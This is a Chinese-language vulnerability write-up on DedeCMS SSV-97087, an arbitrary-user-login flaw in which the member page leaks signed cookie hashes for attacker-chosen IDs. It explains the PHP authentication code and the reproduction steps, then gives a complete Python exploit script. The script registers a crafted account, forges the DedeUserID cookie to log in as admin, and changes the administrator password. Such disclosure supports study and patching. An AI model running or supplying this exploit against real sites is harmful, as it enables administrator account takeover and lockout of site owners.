(SSV-97087)DeDecms 任意用户登录

一、漏洞简介

漏洞编号:SSV-97087,提交时间:20180118

dedecms的会员模块的身份认证使用的是客户端session,在Cookie中写入用户ID并且附上ID__ckMd5,用做签名。主页存在逻辑漏洞,导致可以返回指定uid的ID的Md5散列值。原理上可以伪造任意用户登录。

二、漏洞影响

三、复现过程

代码分析

在/member/index.php中会接收uid和action参数。uid为用户名,进入index.php后会验证Cookie中的用户ID与uid(用户名)并确定用户权限。

if($action == '')
   {
       include_once(DEDEINC."/channelunit.func.php");
       $dpl = new DedeTemplate();
       $tplfile = DEDEMEMBER."/space/{$_vars['spacestyle']}/index.htm";

       //更新最近访客记录及站点统计记录
       $vtime = time();
       $last_vtime = GetCookie('last_vtime');
       $last_vid = GetCookie('last_vid');
       if(empty($last_vtime))
       {
           $last_vtime = 0;
       }
       if($vtime - $last_vtime > 3600 || !preg_match('#,'.$uid.',#i', ','.$last_vid.','))
       {
           if($last_vid!='')
           {
               $last_vids = explode(',',$last_vid);
               $i = 0;
               $last_vid = $uid;
               foreach($last_vids as $lsid)
               {
                   if($i>10)
                   {
                       break;
                   }
                   else if($lsid != $uid)
                   {
                       $i++;
                       $last_vid .= ','.$last_vid;
                   }
               }
           }
           else
           {
               $last_vid = $uid;
           }
           PutCookie('last_vtime', $vtime, 3600*24, '/');
           PutCookie('last_vid', $last_vid, 3600*24, '/');

我们可以看到当uid存在值时就会进入我们现在的代码中,当cookie中的last_vid中不存在值为空时,就会将uid值赋予过去,$last_vid = $uid;,然后PutCookie。

那么这么说,我们控制了$uid就相当于可以返回任意值经过服务器处理的md5值。

而在接下来会验证用户是否登录。

现在我们来看看,dedecms会员认证系统是怎么实现的:/include/memberlogin.class.php

//php5构造函数
function __construct($kptime = -1, $cache=FALSE)
{
    global $dsql;
    if($kptime==-1){
        $this->M_KeepTime = 3600 * 24 * 7;
    }else{
        $this->M_KeepTime = $kptime;
    }
    $formcache = FALSE;
    $this->M_ID = $this->GetNum(GetCookie("DedeUserID"));
    $this->M_LoginTime = GetCookie("DedeLoginTime");
    $this->fields = array();
    $this->isAdmin = FALSE;
    if(empty($this->M_ID))
    {
        $this->ResetUser();
    }else{
        $this->M_ID = intval($this->M_ID);

        if ($cache)
        {
            $this->fields = GetCache($this->memberCache, $this->M_ID);
            if( empty($this->fields) )
            {
                $this->fields = $dsql->GetOne("Select * From `#@__member` where mid='{$this->M_ID}' ");
            } else {
                $formcache = TRUE;
            }
        } else {
            $this->fields = $dsql->GetOne("Select * From `#@__member` where mid='{$this->M_ID}' ");
        }

        if(is_array($this->fields)){
            #api{{
            if(defined('UC_API') && @include_once DEDEROOT.'/uc_client/client.php')
            {
                if($data = uc_get_user($this->fields['userid']))
                {
                    if(uc_check_avatar($data[0]) && !strstr($this->fields['face'],UC_API))
                    {
                        $this->fields['face'] = UC_API.'/avatar.php?uid='.$data[0].'&size=middle';
                        $dsql->ExecuteNoneQuery("UPDATE `#@__member` SET `face`='".$this->fields['face']."' WHERE `mid`='{$this->M_ID}'");
                    }
                }
            }
            #/aip}}

            //间隔一小时更新一次用户登录时间
            if(time() - $this->M_LoginTime > 3600)
            {
                $dsql->ExecuteNoneQuery("update `#@__member` set logintime='".time()."',loginip='".GetIP()."' where mid='".$this->fields['mid']."';");
                PutCookie("DedeLoginTime",time(),$this->M_KeepTime);
            }
            $this->M_LoginID = $this->fields['userid'];
            $this->M_MbType = $this->fields['mtype'];
            $this->M_Money = $this->fields['money'];
            $this->M_UserName = FormatUsername($this->fields['uname']);
            $this->M_Scores = $this->fields['scores'];
            $this->M_Face = $this->fields['face'];
            $this->M_Rank = $this->fields['rank'];
            $this->M_Spacesta = $this->fields['spacesta'];
            $sql = "Select titles From #@__scores where integral<={$this->fields['scores']} order by integral desc";
            $scrow = $dsql->GetOne($sql);
            $this->fields['honor'] = $scrow['titles'];
            $this->M_Honor = $this->fields['honor'];
            if($this->fields['matt']==10) $this->isAdmin = TRUE;
            $this->M_UpTime = $this->fields['uptime'];
            $this->M_ExpTime = $this->fields['exptime'];
            $this->M_JoinTime = MyDate('Y-m-d',$this->fields['jointime']);
            if($this->M_Rank>10 && $this->M_UpTime>0){
                $this->M_HasDay = $this->Judgemember();
            }
            if( !$formcache )
            {
                SetCache($this->memberCache, $this->M_ID, $this->fields, 1800);
            }
        }else{
            $this->ResetUser();
        }
    }
}

$this->M_ID等于Cookie中的DedUserID,我们继续看看GetCookie函数

if ( ! function_exists('GetCookie'))
{
    function GetCookie($key)
    {
        global $cfg_cookie_encode;
        if( !isset($_COOKIE[$key]) || !isset($_COOKIE[$key.'__ckMd5']) )
        {
            return '';
        }
        else
        {
            if($_COOKIE[$key.'__ckMd5']!=substr(md5($cfg_cookie_encode.$_COOKIE[$key]),0,16))
            {
                return '';
            }
            else
            {
                return $_COOKIE[$key];
            }
        }
    }
}

它不但读了cookie还验证了md5值。

这样,由于index.php中我们可以控制返回一个输入值和这个输入值经过服务器处理后的md5值。那么如果我们伪造DedUserID和它对应的MD5就行了。

最后一个问题,因为我们上面是通过用户名伪造ID的,用户名为字符串而ID为整数,但好在在构造用户类中将M_ID intval了一下$this->M_ID = intval($this->M_ID); 那么这么说,如果我们想伪造ID为1的用户的Md5,我们只要在上面设置uid(用户名)为’000001’即可。

复现

1、先从member/index.php中获取伪造的DedeUserID和它对于的md5

2、使用它登录

访问member/index.php?uid=0000001并抓包(注意cookie中last_vid值应该为空)。

image

可以看到已经获取到了,拿去当做DeDeUserID

image

可以看到,登陆了admin用户。

python脚本

  # coding=utf-8

import requests
import re

if __name__ == "__main__":
    dede_host = "http://127.0.0.1/"
    oldpwd = '123456'
    newpwd = "cnvdcnvd"
    s = requests.Session()

    if '系统关闭了会员功能' in requests.get(dede_host + 'member/reg_new.php').content:
        exit('The system has closed the member function .Can not attack !!!')
    else:
        print "The system opened the membership function, I wish you good luck  !!"

    headers = {"Referer": dede_host + "member/reg_new.php"}
    rs = s.get(dede_host + 'include/vdimgck.php').content
    file = open('1.jpg', "wb")
    file.write(rs)
    file.close()

    vdcode = raw_input("Please enter the registration verification code : ")

    userid = '0000001'
    uname = '0000001'
    userpwd = '123456'


    headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0)",
               "Content-Type": "application/x-www-form-urlencoded"}
    data = "dopost=regbase&step=1&mtype=%E4%B8%AA%E4%BA%BA&mtype=%E4%B8%AA%E4%BA%BA&userid={userid}&uname={uname}&userpwd={userpwd}&userpwdok={userpwd}&email=0000001%400000001.com&safequestion=0&safeanswer=&sex=%E7%94%B7&vdcode={vdcode}&agree=".format(
        userid=userid, uname=uname, userpwd=userpwd, vdcode=vdcode)
    rs = s.post(dede_host + '/member/reg_new.php', data=data, headers=headers)
    if "验证码错误" in rs.content:
        exit("Verification code error, account registration failed")
    elif '注册成功' in rs.content:
        print 'registration success !!'

    rs = s.get(dede_host + "/member/index.php?uid={userid}".format(userid=userid))
    if "资料尚未通过审核" in rs.content:
        exit("User information has not been approved !!!")  # 会员使用权限开通状态(-10 邮件验证 -1 手工审核, 0 没限制):
    searchObj = re.search(r'last_vid__ckMd5=(.*?);', rs.headers['Set-Cookie'], re.M | re.I)
    last_vid__ckMd5 = searchObj.group(1)
    s.cookies['DedeUserID'] = userid
    s.cookies['DedeUserID__ckMd5'] = last_vid__ckMd5
    rs = s.get(dede_host + "/member/index.php")
    if "class=\"userName\">admin</a>" in rs.text:
        print "Administrator login successful !!"

    headers = {"Referer": dede_host + "member/edit_baseinfo.php"}
    rs = s.get(dede_host + 'include/vdimgck.php').content
    file = open('2.jpg', "wb")
    file.write(rs)
    file.close()

    vdcode = raw_input("Please enter the verification code : ")

    data = {"dopost": "save", "uname": "admin", "oldpwd": oldpwd, "userpwd": newpwd, "userpwdok": newpwd,
            "safequestion": "0", "newsafequestion": "0", "sex": "男", "email": "admin@admin.com", "vdcode": vdcode}
    rs = s.post(dede_host + '/member/edit_baseinfo.php', data=data)
    if "成功更新你的基本资料" in  rs.content:
       print "Administrator password modified successfully !!"
       print "The new administrator password is : " + newpwd
    else:
        print "attack fail"
零组资料文库 all right reserved,powered by 0-sec.org未经授权禁止转载 2019-11-29 21:20:38

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